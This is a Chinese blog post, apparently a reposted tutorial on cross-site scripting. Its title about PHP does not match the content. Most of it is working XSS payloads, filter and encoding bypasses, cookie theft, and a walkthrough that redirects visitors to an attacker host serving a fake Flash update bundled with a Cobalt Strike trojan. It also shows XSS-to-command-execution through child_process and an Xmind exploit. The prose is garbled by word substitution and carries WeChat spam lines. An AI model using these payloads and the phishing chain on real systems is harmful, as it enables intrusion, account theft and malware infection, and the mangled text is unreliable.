首页 » SEO优化 » php去boom技巧_这一次终于把XSS理解透彻

php去boom技巧_这一次终于把XSS理解透彻

访客 2024-12-07 0

扫一扫用手机浏览

文章目录 [+]

XSS 简介

XSS,全称Cross Site Scripting,即跨站脚本攻击,是最普遍的Web运用安全漏洞。
这类漏洞能够使得攻击者嵌入恶意脚本代码到正常用户会访问到的页面中,当正常用户访问该页面时,则可导致嵌入的恶意脚本代码的实行,从而达到恶意攻击用户的目的。
须要强调的是,XSS不仅仅限于JavaScript,还包括flash等其它脚本措辞。
根据攻击代码的事情办法,XSS可以分为反射型的XSS、存储型的XSS和DOM型的XSS。

反射型

反射型的XSS是非持久化的,攻击者事先制作好攻击链接,须要欺骗用户自己去点击链接才能触发XSS代码,但是做事器中没有这样的页面和内容,一样平常随意马虎涌如今搜索页面。

php去boom技巧_这一次终于把XSS理解透彻

存储型

存储型的XSS是持久化的,代码是存储在做事器中的,如在个人信息或揭橥文章等地方,加入代码,如果没有过滤或过滤不严,那么这些代码将储存到做事器中,每当有用户访问该页面的时候都会触发代码实行。
这种XSS非常危险,随意马虎造成蠕虫,大量盗窃cookie。

php去boom技巧_这一次终于把XSS理解透彻
(图片来自网络侵删)
DOM型

DOM型的XSS是基于文档工具模型Document Objeet Model,DOM)的一种漏洞。
DOM是一个与平台、编程措辞无关的接口,它许可程序或脚本动态地访问和更新文档内容、构造和样式,处理后的结果能够成为显示页面的一部分。
DOM中有很多工具,个中一些是用户可以操纵的,如uRI ,location,refelTer等。
客户真个脚本程序可以通过DOM动态地检讨和修正页面内容,它不依赖于提交数据到做事器端,而从客户端得到DOM中的数据在本地实行,如果DOM中的数据没有经由严格确认,就会产生DOM XSS漏洞。
例如做事器端常常利用document.boby.innerHtml等函数动态天生html页面,如果这些函数在引用某些变量时没有进行过滤或检讨,就会产生DOM型的XSS。
DOM型XSS可能是存储型,也有可能是反射型。

一些常用的标签与属性

下面我列举的标签大部分是可以自动触发js代码的,无需用户去交互,大部分情形下我们也是希望是自动触发而不是等用户去触发。

scirpt 标签

<script> 标签用于定义客户端脚本,比如 JavaScript。

<script>alert(1);</script><script>alert("xss");</script>img 标签

<img> 标签定义 HTML 页面中的图像。

<img src=1 onerror=alert(1);><img src=1 onerror=alert("xss");>input 标签

<input> 标签规定了用户可以在个中输入数据的输入字段。

onfocus 事宜在工具得到焦点时发生:

<input onfocus=alert(1);>

竞争焦点,从而触发onblur事宜:

<input onblur=alert(1) autofocus><input autofocus>

input 标签的 autofocus 属性规定当页面加载时 <input> 元素该当自动得到焦点。
可以通过autofocus属性自动实行本身的focus事宜,这个向量是使焦点自动跳到输入元素上,触发焦点事宜,无需用户去触发:

<input onfocus="alert(1);" autofocus>details 标签

<details> 标签通过供应用户开启关闭的交互式控件,规定了用户可见的或者隐蔽的需求的补充细节。
ontoggle 事宜规定了在用户打开或关闭 <details> 元素时触发:

<details ontoggle=alert(1);>

利用details 标签的 open 属性触发ontoggle事宜,无需用户去点击即可触发:

<details open ontoggle=alert(1);>svg 标签

<svg> 标签用来在HTML页面中直接嵌入SVG 文件的代码。

<svg onload=alert(1);>select 标签

<select> 标签用来创建下拉列表。

<select onfocus=alert(1)></select>

通过autofocus属性规定当页面加载时元素该当自动得到焦点,这个向量是使焦点自动跳到输入元素上,触发焦点事宜,无需用户去触发:

<select onfocus=alert(1) autofocus>iframe 标签

<iframe> 标签会创建包含其余一个文档的内联框架。

<iframe onload=alert(1);></iframe>video 标签

<video> 标签定义视频,比如电影片段或其他视频流。

<video><source onerror=alert(1)>audio 标签

<audio> 标签定义声音,比如音乐或其他音频流。

<audio src=x onerror=alert(1);>body 标签

<body> 标签定义文档的主体。

<body onload=alert(1);>

onscroll 事宜在元素滚动条在滚动时触发。
我们可以利用换行符以及autofocus,当用户滑动滚动条的时候自动触发,无需用户去点击触发:

<bodyonscroll=alert(1);><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>textarea 标签

<textarea> 标签定义一个多行的文本输入控件。

<textarea onfocus=alert(1); autofocus>keygen 标签

<keygen autofocus onfocus=alert(1)> //仅限火狐marquee 标签

<marquee onstart=alert(1)></marquee> //Chrome弗成,火狐和IE都可以isindex 标签

<isindex type=image src=1 onerror=alert(1)>//仅限于IE +WX:machinegunjoe666免费领取资料利用 link 远程包含 JavaScript 文件

<link> 标签定义文档与外部资源的关系。
在无CSP的情形下才可以利用:

<link rel=import href="http://47.xxx.xxx.72/evil.js">利用 JavaScript 伪协议

javascript: 这个分外的协议类型声明了URL的主体是任意的javascript代码,它由javascript的阐明器运行。
当浏览器装载了这样的URL时,并不会转向某个URL,而是实行这个URL中包含的javascript代码,并把末了一条javascript语句的字符串值作为新文档的内容显示出来。

a 标签

<a href="javascript:alert(1);">xss</a>iframe 标签

<iframe src=javascript:alert(1);></iframe>img 标签

<img src=x onerror=alert(1)><img src=javascript:alert(1)> //IE7以下form 标签

<form action="Javascript:alert(1)"><input type=submit>XSS 常见绕过姿势

绕过空格过滤

当空格被过滤了时,我们可以用 / 来代替空格:

<img/src="x"/onerror=alert(1);>

也可以:

<img/src="x"onerror=alert(1);>绕过引号过滤

如果是html标签中,我们可以不用引号。
如果是在js中,我们可以用反引号代替单双引号:

<img src=x onerror=alert(`xss`);>绕过括号过滤

当括号被过滤的时候可以利用throw来绕过。
throw 语句用于当缺点发生时抛出一个缺点。

<img src=x onerror="javascript:window.onerror=alert;throw 1"><a onmouseover="javascript:window.onerror=alert;throw 1>

绕过关键字过滤大小写绕过

<sCRiPt>alert(1);</sCrIpT><ImG sRc=x onerRor=alert(1);>双写绕过

有些waf可能会只更换一次且是更换为空,这种情形下我们可以考虑双写关键字绕过

<scrscriptipt>alert(1);</scrscriptipt><imimgg srsrcc=x onerror=alert(1);>字符串拼接绕过

利用eval()函数

与PHP的eval()函数相同,JavaScript的eval()函数也可以打算 JavaScript 字符串,并把它作为脚本代码来实行。

<img src="x" onerror="a='aler';b='t';c='(1)';eval(a+b+c)"><img src="x" onerror="a=`aler`;b=`t`;c='(`xss`);';eval(a+b+c)">// 在js中,我们可以用反引号代替单双引号

利用top

<script>top["al"+"ert"](`xss`);</script><script>top["al"+"ert"]("xss");</script>XSS 输出点总结

WAF最大的问题,在于不知道输出的位置,导致攻击者根据详细环境以及详细输出的标签类型便可以绕过。

输出在属性里

例如输出的位置位于value属性中:

<input value="[输出]" type=text>

我们可以选择直接闭合标签:

"><img src=x onerror=alert(1);>// 输出后如下:// <input value=""><img src=x onerror=alert(1);>" type=text>

如果 < > 被过滤的话可以换成选择利用事宜来闭合属性,并将后面的引号注释掉或闭合:

" autofocus onfocus=alert(1)//" autofocus onfocus=alert(1) "// 输出后如下:// <input value="" autofocus onfocus=alert(1)//" type=text>

同样还有很多其他的payload:

" onmouseover=prompt(0) x="" onfocusin=alert(1) autofocus x="" onfocusout=alert(1) autofocus x="" onblur=alert(1) autofocus a="

还有一些分外的场景,如:

<input type="hidden" value="[输出]" /><input value="[输出点]" type="hidden"/>

这里只能把input标签闭合,然后直接实行脚本,否则会由于type为hidden导致无法实行脚本。

输出在HTML标签之间

例如输出的位置如下:

<div id="body">[输出]</div>

直接提交 <script>alert(1)</script> 即可触发XSS,但是当标签是不能实行脚本的标签时,如下面这几个:

<title></title><textarea></textarea><xmp></xmp><iframe></iframe>

那么就得先把那个标签闭合(后文会讲到事理),然后在注入XSS语句,例如:

</textarea><script>alert(1)</script>输出在script标签之间

例如:

<script> var x = "input";</script>

可控位置在input,可以闭合script标签插入代码,但是同样我们仅仅闭合双引号就可以实行js代码了:

";alert(1)//// 输出后如下:// <script>var x = "";alert(1)//";</script>XSS 字符编码绕过

在XSS中,还有一个绕过关键字过滤的方法,那便是字符编码绕过。
这里给出一个编码网站:https://bianma.bmcx.com/

编码属于打算机系统的根本知识,其内容写起来估计也可以出本书了,不过或多或少我们都有所理解,总的来说,编码便是将字符变为二进制数,而解码便是将二进制数还原为字符。
从浏览器要求url到在页面上显示出来也经历了一些编码和解码过程,下面大概先容一下流程。

要求网页解码流程HTML 编码/解码

当浏览器吸收到做事端发送来的二进制数据后,首先会对其进行HTML解码,呈现出来的便是我们看到的源代码。
详细的解码办法依详细情形而定,以是我们须要在页面中指定编码,防止浏览器按照缺点的办法解码,造成乱码。

但是在HTML中有些字符是和关键词冲突的,比如 <、>、&,解码之后,浏览器会误认为它们是HTML标签,如果希望精确地显示预留字符,就须要在HTML中利用对应的HTML字符实体。

字符实体是一个转义序列,它定义了一样平常无法在文本内容中输入的单个字符或符号。
一个字符实体以一个&符号开头,后面随着一个预定义的实体的名称,或用&#开头+实体编号+分号来表示。

常见的HTML字符实体有:

显示结果

描述

实体名称

实体编号

空格

 

<

小于号

<

<

>

大于号

>

>

&

和号

&

&

"

引号

"

"

'

撇号

'(IE不支持)

'

但并不是所有的字符都有实体名称,但是它们都有自己的实体编号。

一个HTML解析器作为一个状态机,它从输入流中获取字符并按照转换规则转换到另一种状态。
在解析过程中,任何时候它只要碰着一个 < 符号(后面没有跟 /符号)就会进入 标签开始状态(Tag open state) ,然后转变到 标署名状态(Tag name state) 、 前属性名状态(before attribute name state) ......最后进入 数据状态(Data state) 并开释当前标签的token。
当解析器处于 数据状态(Data state) 时,它会连续解析,每当创造一个完全的标签,就会开释出一个token。

大略的说便是,浏览器对HTML解码之后就开始解析HTML文档,将浩瀚标签转化为内容树中的DOM节点,此时识别标签的时候,HTML解析器是无法识别那些被实体编码的内容的,只有建立起DOM树,才能对每个节点的内容进行识别,如果涌实际体编码,则会进行实体解码,只假如DOM节点里属性的值,都可以被HTML编码和解析。

以是在PHP中,利用htmlspecialchars()函数把预定义的字符转换为HTML实体,只有等到DOM树建立起来后,才会解析HTML实体,起到了XSS防护浸染。

URL 解码

URL编码是为了许可URL中存在汉字这样的非标准字符,实质是把一个字符转为%加上UTF-8编码对应的16进制数字。
以是又称之为Percent-encoding。

在做事端吸收到要求时,会自动对要求进行一次URL解码。

JavaScript 解码(只支持Unicode)

当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析事情,比如在处理诸如 <script>、<style> 这样的标签时,解析器会自动切换到JavaScript解析模式,而 src、 href 后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。

比如 <a href="javascript:alert('\u0031')">test</a>,JavaScript 出发了 JavaScript 阐明器,JavaScript 会先对内容进行解析,里边有一个转义字符\u0031,前导的 u 表示他是一个unicode 字符,根据后边的数字,解析为“1”,于是在完成 JavaScript 的解析之后变成了 <a href="javascript:alert('1')">test</a>。

下面用一个普通的XSS代码来解释一下浏览器对其解析的过程。

<a href="javascript:alert('xss')">test</a>

首先HTML解析器开始事情,并对href中的字符做HTML解码,接下来URL解析器对href值进行解码,正常情形下URL值为一个正常的URL链接,如:https://www.baidu.com,那么URL解析器事情完成后是不须要其他解码的,但是该环境中URL资源类型为Javascript,因此该环境中末了一步Javascript解析器还会进行解码操作,末了解析的脚本将被实行。

全体解析顺序为3个环节:HTML解码 —>URL解码 —>JS解码

我们可以对XSS攻击向量做这三种编码都可以成功弹框。

HTML 实体编码

我们可以将DOM节点中的内容转化为HTML实体,由于解析HTML之后建立起节点,然后会对DOM节点里面的HTML实体进行解析。
HTML 编码紧张分为10进制和16进制,格式为以 &# 开头以分号 ; 结尾(也可以不带分号)。

<a href=javascript:alert("xss")>test</a>

// 十进制<a href=javascript:alert("xss")>test</a>// 十六进制<a href=javascript:alert("xss")>test</a>// 也可以不带分号<a href=javascript:alert("xss")>test</a><img src=x onerror=alert("xss")>

// 十进制<img src=x onerror=alert("xss")>// 十六进制<img src=x onerror=alert("xss")>// 也可以不带分号<img src=x onerror=alert("xss")>

但是要把稳,对付HTML字符实体,并不是说任何地方都可以利用实体编码,只有处于 “数据状态中的字符引用”、“属性值状态中的字符引用” 和 “RCDATA状态中的字符引用” 这三种状态中的HTML字符实体将会从 &#… 形式解码,转化成对应的解码字符并被放入数据缓冲区中。

(1)数据状态中的字符引用:数据状态便是解析一个标签内里面的内容,如 <div>...</div> 中的内容,当浏览器解析完 <div> 标签之后如果创造标签内还含有实体字符的话,就会有一个实体编码解析了,如:

<div><img src=x onerror=alert("xss")></div>

如下图,此时在页面上显示的是经由转义的内容:

这看上去是一个标准的标签措辞,但并不会触发xss,由于当前HTML解析器处于“数据状态”,不会转换到“标签开始状态”,以是就不会建立新的标签。
因此,我们能够利用字符实体编码这个行为来转义用户输入的数据从而确保用户输入的数据只能被解析成“数据”而不是XSS攻击向量。

(2)属性值状态中的字符引用:属性值状态中的字符引用就好理解了,便是src,herf这样的属性值中的HTML实体,他也是会前辈行HTML解码的,比如下面的语句,会先对里面HTML解码,然后再连续往下实行:

<a href=javascript:alert("xss")>test</a>

(3)RCDATA状态中的字符引用:然后再来看一下什么是RCDATA转态,这里须要我们先理解一下HTML中有五类元素:

空元素(Void elements),如 <area>、<br>、<base> 等等。
空元素不能容纳任何内容,由于它们没有闭合标签,没有内容能够放在开始标签和闭合标签中间。
原始文本元素(Raw text elements),有 <script> 和 <style>。
原始文本元素可以容纳文本。
RCDATA元素(RCDATA elements),有 <textarea> 和 <title>。
RCDATA元素可以容纳文本和字符引用。
外部元素(Foreign elements),例如MathML命名空间或者SVG命名空间的元素。
外部元素可以容纳文本、字符引用、CDATA段、其他元素和注释。
基本元素(Normal elements),即除了以上4种元素以外的元素。
基本元素可以容纳文本、字符引用、其他元素和注释。

把稳到RCDATA元素中有 <textarea> 和 <title> 两个属性并且有字符引用,也便是当实体字符涌如今这两个标签里面的时候,实体字符会被识别并进行HTML编码解析。
这里要再提醒一次,在解析这些字符引用的过程中不会进入“标签开始状态”,以是就不会建立新的标签,以是下面这个语句触发不了XSS:

<textarea><script>alert("xss")</script></textarea>

但是如果直接放进去标签的内容呢,不带转义字符呢,如下:

<textarea><script>alert("xss")</script></textarea>

同样也是不会触发XSS的:

这涉及到了RCDATA的一个分外的情形。
即在浏览器解析RCDATA元素的过程中,解析器会进入“RCDATA状态”。
在这个状态中,如果碰着“<”字符,它会转换到“RCDATA小于号状态”。
如果“<”字符后没有紧随着“/”和对应的标署名,解析器会转换回“RCDATA状态”,并不会进入“标签开始状态”的。
这意味着在RCDATA元素标签的内容中,唯一能够被解析器认做是标签的就只有 </textarea> 或者 </title>,因此,在 <textarea> 和 <title> 的内容中不会创建标签,就不会有脚本能够实行了。

其余还有一点要把稳:我们从上面HTML的五类元素中还创造有一个原始文本元素 <script> 在这个标签内容纳的是文本,以是浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,以是并不会被解码为相应的字符。
浏览器看不懂中间这堆编码是和啥东西,以是也不会被实行,如下:

<script>alert("xss")</script>

那么如何才能让里面的内容进行转义并实行弹窗呢,这里须要利用到XSS的一个黑邪术——“svg”,我们下文中会提及。

URL编码

我们可以并将src或href属性中的内容进行URL编码,当HTML解析器对src或href中的字符完成HTML解码后,接下来URL解析器会对src或href中的值进行URL解码。

<a href="...">xx</a><iframe src="...">

下面给出几个实例。

<a href=javascript:alert("xss")>test</a>

<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a><iframe src=javascript:alert("xss")></iframe>

<iframe src="javascript:%61%6c%65%72%74%28%22%78%73%73%22%29"></iframe>

把稳,伪协议头 javascript: 是不能进行编码的。
这里就有一个URL解析过程中的一个细节了,即不能对协议类型进行任何的编码操作,否则URL解析器会认为它无类型,就会导致DOM节点中被编码的“javascript”没有被解码,当然不会被URL解析器识别了。
就比如说 http://www.baidu.com 可以被URL编码为 http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d,但是不能把协议也进URL编码:%68%74%74%70%3a%2f%2f%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d 。

但是伪协议头 javascript: 可以进行HTML编码。

Javascript 编码

我们可以将DOM节点中的内容转化为 Javascript 编码。
当HTML解析产生DOM节点后,会根据DOM节点来做接下来的解析事情,比如在处理诸如 <script>、<style> 这样的标签时,解析器会自动切换到JavaScript解析模式,而 src、 href 后边加入的 javascript 伪URL,也会进入 JavaScript 的解析模式。

Javascript 中可以识别的编码类型有:

Unicode 编码八进制编码十六进制编码

一样平常情形下我们利用Unicode编码的比较广泛,而八进制和十六进制只有在DOM环境或eval()等函数中才可以用。

Unicode 编码<script>alert("xss")</script>

<script>\u0061\u006C\u0065\u0072\u0074("xss")</script><script>\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")</script><a href=javascript:alert("xss")>test</a>

<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a><a href=javascript:\u0061\u006C\u0065\u0072\u0074("\u0078\u0073\u0073")>test</a>

但要把稳,我们同样也不能对伪协议头 javascript: 进行 Javascript 编码。
并且像圆括号、双引号、单引号这样的符号我们也不能进 Javascript 编码,但是能进行HTML编码。

在DOM环境中的JavaScript编码

对付八进制编码和十六进制编码,与 Unicode 编码还是有差异,像下面的XSS向量是不能直接实行的:

<script>alert("xss")</script>

<script>\141\154\145\162\164("xss")</script><a href=javascript:alert("xss")>test</a>

<a href=javascript:\x61\x6c\x65\x72\x74("xss")>test</a>

如下图,插入之后没有任何反应:

要想让他们能够实行我们要将他们放在DOM环境中,即DOM型的XSS。

测试代码:

<div id='s'>test</div><script> var search = "..."; document.getElementById('s').innerHTML = search;</script>

以上情形很多都是涌如今你搜索后,显示你所查询的关键字,变量 search 是一个可控点,当我们查询一个XSS攻击向量后,变量 search 就会被赋值为这个XSS向量,从而插入到div标签中触发XSS,如下所示:

<div id='s'>test</div><script> var search = "<iframe src=javascript:alert('xss')></iframe>"; document.getElementById('s').innerHTML = search;</script> +WX:machinegunjoe666免费领取资料

此时如果过滤了 <、>、'、"、&、% 等等这些字符的话,我们便可以用JavaScript编码的方法将XSS向量全部编码,即 <iframe src=javascript:alert('xss')></iframe> 的以下编码都可以弹窗:

// Unicode编码\u003C\u0069\u0066\u0072\u0061\u006D\u0065\u0020\u0073\u0072\u0063\u003D\u006A\u0061\u0076\u0061\u0073\u0063\u0072\u0069\u0070\u0074\u003A\u0061\u006C\u0065\u0072\u0074\u0028\u0027\u0078\u0073\u0073\u0027\u0029\u003E\u003C\u002F\u0069\u0066\u0072\u0061\u006D\u0065\u003E// 八进制编码\74\151\146\162\141\155\145\40\163\162\143\75\152\141\166\141\163\143\162\151\160\164\72\141\154\145\162\164\50\47\170\163\163\47\51\76\74\57\151\146\162\141\155\145\76// 十六进制编码\x3c\x69\x66\x72\x61\x6d\x65\x20\x73\x72\x63\x3d\x6a\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3a\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29\x3e\x3c\x2f\x69\x66\x72\x61\x6d\x65\x3e

还有一种让八进制和十六进制编码的XSS攻击向量实行的办法便是将XSS向量放在某个能把字符串当做JavaScript代码来实行的函数里,比如eval()、setTimeout()、setInterval()等函数。
如下示例:

<script>alert("xss")</script>

<script>eval("\141\154\145\162\164\50\42\170\163\163\42\51")</script><a href=javascript:alert("xss")>test</a>

<a href=javascript:eval("\x61\x6c\x65\x72\x74\x28\x22\x78\x73\x73\x22\x29")>test</a><img src=x onerror=alert("xss")>

<img src=x onerror=eval('\x61\x6c\x65\x72\x74\x28\x27\x78\x73\x73\x27\x29')>

或者也可以直接将一整段js代码编码后放入eval()函数中实行。

稠浊编码

稠浊编码便是对一个XSS向量同时进行多种编码,如下示例:

<a href=javascript:alert("xss")>test</a>

// 对javascript:进行HTML编码, 对alert("xss")进行URL编码<a href=javascript:%61%6c%65%72%74%28%22%78%73%73%22%29>test</a>// 对javascript:进行HTML编码, 对alert进行Unicode编码<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

也可以利用解码顺序进行稠浊编码,如下示例:

<a href=javascript:alert("xss")>test</a>

首先对“alert”进行JavaScript Unicode编码:

<a href=javascript:\u0061\u006C\u0065\u0072\u0074("xss")>test</a>

然后再对 \u0061\u006c\u0065\u0072\u0074 进行URL编码:

<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>

末了对标签中的 javascript:%5c%75...%37%34("xss") 整体进行HTML编码即可:

<a href=javascript:%5c%75%30%30%36%31%5c%75%30%30%36%63%5c%75%30%30%36%35%5c%75%30%30%37%32%5c%75%30%30%37%34("xss")>test</a>SVG:XSS的一个黑邪术

我们在上文HTML编码那里末了留了一个坑,即HTML的五类元素中,像 <script>、<style> 这样的原始文本元素在这个标签内容纳的是文本,以是浏览器在解析到这个标签后,里面内容中的HTML编码并不会被认为是HTML实体引用,以是并不会被解码为相应的字符。

也便是说,向下面这样的代码,浏览器不会对个中的HTML实体字符进行解码,也就不会实行并触发XSS了:

<script>alert("xss")</script><script>alert(1)</script><script>alert(1)</script>

那如何绕过HTML原始文本元素进而实行HTML实体解码呢,这涉及到了 <svg> 的魔力,那是一种分外的触发效果,纯挚script标签内加载html实体编码,只会当做文本,没有任何触发结果,如下图:

但是当在前面加上 <svg> 后,却成功弹窗了:

<svg><script>alert("xss")</script><svg><script>alert(1)</script><svg><script>alert(1)</script>

这是为什么呢?

是由于 <svg> 标签属于HTML五大元素中的外部元素,可以容纳文本、字符引用、CDATA段、其他元素和注释,也便是说在解析到<svg> 标签时,浏览器就开始利用一套新的标准开始解析后面的内容,直到碰到闭合标签</svg>。
而在这一套新的标准遵照XML解析规则,在XML解析中,实体编码会自动解码成相应的字符,重新来一遍标签开启状态,此时就会实行XSS了。
如下图,弹窗后我们查看页面源码。
创造原来不能被HTML解码的内容被 <svg> 标签自动解码了:

[CISCN2019 华东北赛区]Web2 这道题利用的便是这个知识点。

XSS 测试流程思路

下面让我们来看一下XSS绕过的测试流程。

现实中,大多数的场所是用的黑名单来做XSS过滤器的,有三种办法绕过黑名单的测试:

暴力测试(输入大量的payload,看返回结果)根据正则推算利用浏览器bug初步测试

(1)考试测验插入比较正常的HTML标签,例如:<a>、<b>、<i>、<u> 等,来看一下返回页面的情形是若何的,是否被HTML编码了,或者标签被过滤了。

(2)考试测验插入不闭合的标签,例如:<a、<b、i>、u>、<img 等,然后看一下返回相应,是否对开放的标签也有过滤。

(3)然后测试几种常见的XSS向量:

<script>alert(1)</script><script>prompt(1)</script><script>confirm(1)</script>......

看返回相应,是过滤的全部,还是只过滤了部分,是否还留下了 alert、prompt、confirm 等字符,再考试测验大小写的组合:

<scRiPt>alert(1);</scrIPt>

(4)如果过滤器仅仅是把 <script> 和 </script> 标签过滤掉,那么可以用双写的办法来绕过:

<scr<script>ipt>alert(1)</scr<script>ipt>

这样当 <script> 标签被过滤掉后,剩下的组合起来刚好形成一个完全的向量。

(5)用 <a href 标签来测试,看返回相应

<a href="http://www.baidu.com">click</a>

看看 <a 标签是否被过滤,href 是否被过滤,href里的数据是否被过滤了。
如果没有数据被过滤,插入javascript伪协议看看:

<a href="javascript:alert(1)">click</a>

看是否返回缺点,javascript的全体协议内容是否都被过滤掉,还是只过滤了javascript字符。

连续测试事宜触发实行javascript:

<a href=x onmouseover=alert(1)>ClickHere</a>

看onmouseover事宜是否被过滤。

测试一个无效的事宜,看看他的过滤规则:

<a href=x onclimbatree=alert(1)>ClickHere</a>

是完全的返回了呢,还是跟onmouseover一样被干掉了。
如果是完全的返回的话,那么就意味着,做了事宜的黑名单,但是在HTML5中,有超过150种的办法来实行javascript代码的事宜,我们可以选用别的事宜。
测试一个很少见的事宜:

<body onhashchange=alert(1)><a href=#>click</a>

onhashchange 事宜在当前 URL 的锚部分(以 '#' 号为开始) 发生改变时触发 。

测试其他标签和属性

HTML的标签和属性太多了,上文中已经列出了很多了。

XSS 攻击面拓展利用 XSS 钓鱼通过 XSS 盗取 Cookie

Cookie盗取是xss攻击中最实用也是最广泛的一种利用办法之一。
我们知道Cookie是Web系统识别用户的身份和保存会话状态的紧张机制,且是由做事器供应的、存储在客户真个一种数据。
同时,对付cookie的操作十分的方便,我们可以通过Document工具访问Cookie。
最大略的比如:<script>alert(document.cookie)</script> ,实行后会弹出当前页面的cookie信息。
在目标没有“同源策略”的保护下,我们可以利用XSS盗取目标网站管理员的Cookie。

在一样平常的通用CMS下呢,为了通用模板的兼容性,许多CMS本身不会利用“同源策略”等其他手段来防护XSS漏洞,而是利用自建的过滤函数来处理,在这种情形下,一旦涌现XSS漏洞,我们就可以直接获取目标的Cookie然后利用特定的方法来传输cookie。

这里,我们可以利用网上现成的或自己搭建的XSS平台来完成利用过程。

Flash 弹窗钓鱼

之前看过很多大佬利用XSS漏洞弹出Flash的更新页面进行钓鱼的操作。
本日我们终于有机会来演示一下了。

其事理便是通过XSS漏洞,弹出Flash更新要求诱利用户点击,利用户跳转到设置好的钓鱼页面(假造好的Flash更新页面),下载假造的Flash组件(木马程序)并实行,终极实现反弹Shell上线CS,完成钓鱼攻击。
下面我们搭建环境进行演示。

实验环境:

主机环境:

攻击机kali:192.168.0.182受害机:192.168.0.125

工具环境:

WeBug4.0Flash 官网源码

(1)制作 CS 捆绑木马

这里我们选择制作WinRAR自解压捆绑木马,将 CS 木马与真正的Flash更新程序捆绑在一起,详情参考我的文章:《钓鱼攻击:制作WinRAR自解压捆绑木马进行钓鱼攻击》

(2)搭建Flash钓鱼页面

首先我们须要在kali上搭建一个钓鱼页面,须要下载Flash官方页面的源码进行修正。
这里有两个项目可以选择:

项目一地址:https://github.com/Wileysec/adobe-flash-phishing-page

该项目是模拟的 Flash Player 中文官网的页面:

须要在index.html中的加入我们制作的木马的链接地址:

项目二地址:https://github.com/r00tSe7en/Flash-Pop

该项目是一个逼真的Flash更新提醒的弹窗,强制症都会忍不住去点击下载的:

我们这里利用第二种方法,点击“立即升级”的这个按钮点击会下载我们提前准备好的 CS 木马。
如果管理员以为自己的 Flash 版本过低的话,可能会下载并运行这个木马。

找到flash.js,搜索链接“https://www.se7ensec.cn/”,将其改为我们制作的木马的链接地址,然后保存即可:

然后将假造的Flash页面搭建在攻击机kali的Web做事上:

(3)插入 XSS 攻击向量

访问目标网站:

在最下方创造一个留言板:

经测试存在XSS漏洞,我们插入一下payload:

<script>window.location.href="http://192.168.0.182";</script>

xxxxxxxxxxbr<script>window.location.href="http://192.168.0.182";</script>br

这样,当用户再次访问该页面或管理员在后台查看评论时,就会将页面挟制到我们所假造的钓鱼页面上:

当受害者强制症忍不住去点击“立即升级”时,就会下载我们所准备好的 CS 捆绑木马:

如果受害者以为自己的 Flash 版本过低的话,就可能会运行这个木马。
如下图所示,受害者主机成功上线:

XSS to RCE

为了大大提升 XSS 的危害,我们可以利用 JavaScript 来实行系统命令。

利用 WScript.Shell 实行系统命令

WScript.Shell(Windows Script Host Runtime Library)是一个工具,对应的文件是C:/WINDOWS/system32/wshom.ocx,Wscript.shell是做事器系统会用到的一种组件。
4这个工具可以实行操作系统外壳常用的操作,比如运行程序、读写注册表、环境变量等。
大略利用如下:

var shell = new ActiveXObject("WScript.Shell");shell.run("calc.exe");

xxxxxxxxxxbrvar shell = new ActiveXObject("WScript.Shell");brshell.run("calc.exe");br

有时候为了 Bypass 也可以利用 String.fromCharCode 从 Ascii 来转化恶意代码:

<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">

xxxxxxxxxxbr<img src=x onerror="eval(String.fromCharCode(10,118,97,114,32,111,61,110,101,119,32,65,99,116,105,118,101,88,79,98,106,101,99,116,40,39,87,83,99,114,105,112,116,46,115,104,101,108,108,39,41,59,10,111,46,114,117,110,40,39,99,97,108,99,46,101,120,101,39,41,59,10));">br利用 child_process 实行系统命令

如果目标环境启用了 NodeJS 的话,我们也可以利用 NodeJS 的子进程(child_process)调用并实行系统命令:

<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})"><img src=x onerror="require('child_process').exec('calc');"><img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">

xxxxxxxxxxbr<img src=x onerror="const exec = require('child_process').exec;exec('whoami').stdout.on('data', function (data) {alert(data);})">brbr<img src=x onerror="require('child_process').exec('calc');">brbr<img src=x onerror="require('child_process').exec('<更多稀奇古怪的Payload>');">br

能实行系统命令了,那么 XSS 在钓鱼攻击中的浸染便大大提高了,我们完备可以利用 XSS 反弹 Shell 并上线 Metasploit 或 CS 。
请连续往下看。

Xmind 2020 XSS 漏洞

XMind 是一款专业的环球领先的商业思维导图软件,在海内利用广泛,拥有强大的功能、包括思维管理、商务演示、与办公软件协同事情等功能。
它采取环球前辈的 Eclipse RCP 软件架构,是集思维导图与头脑风暴于一体的可视化思考工具,能用来捕捉想法、理清思路、管理繁芜信息并促进团队协作。
XMind 思维导图软件曾被著名互联网媒体 Lifehacker 评比为“最佳头脑风暴和思维导图工具”及”最受欢迎的思维导图软件”。

2021年5月10日,被爆 Xmind 2020 中存在 XSS 漏洞,攻击者可以借助该漏洞实现命令实行,在实际环境中借助钓鱼攻击可能造成更严重的危害。

漏洞利用很大略,在 “思维导图” 中输出 Payload:

<img src=x onerror=alert('xss')>

xxxxxxxxxxbr<img src=x onerror=alert('xss')>br

切换到 “大纲” 中,按下一个功能键即可触发攻击:

由于 Xmind 启用了 NodeJS 功能,以是我们可以利用 child_process 调用并实行系统命令。
这和蚁剑的 XSS 导致 RCE 事理一模一样:https://www.heibai.org/post/1152.html

同时我们可以利用这一点进行钓鱼,让受害机上线 Metasploit 或 CS。

首先利用 CS 天生钓鱼利用的 PowerShell 脚本:

点击 Launch 后天生攻击命令:

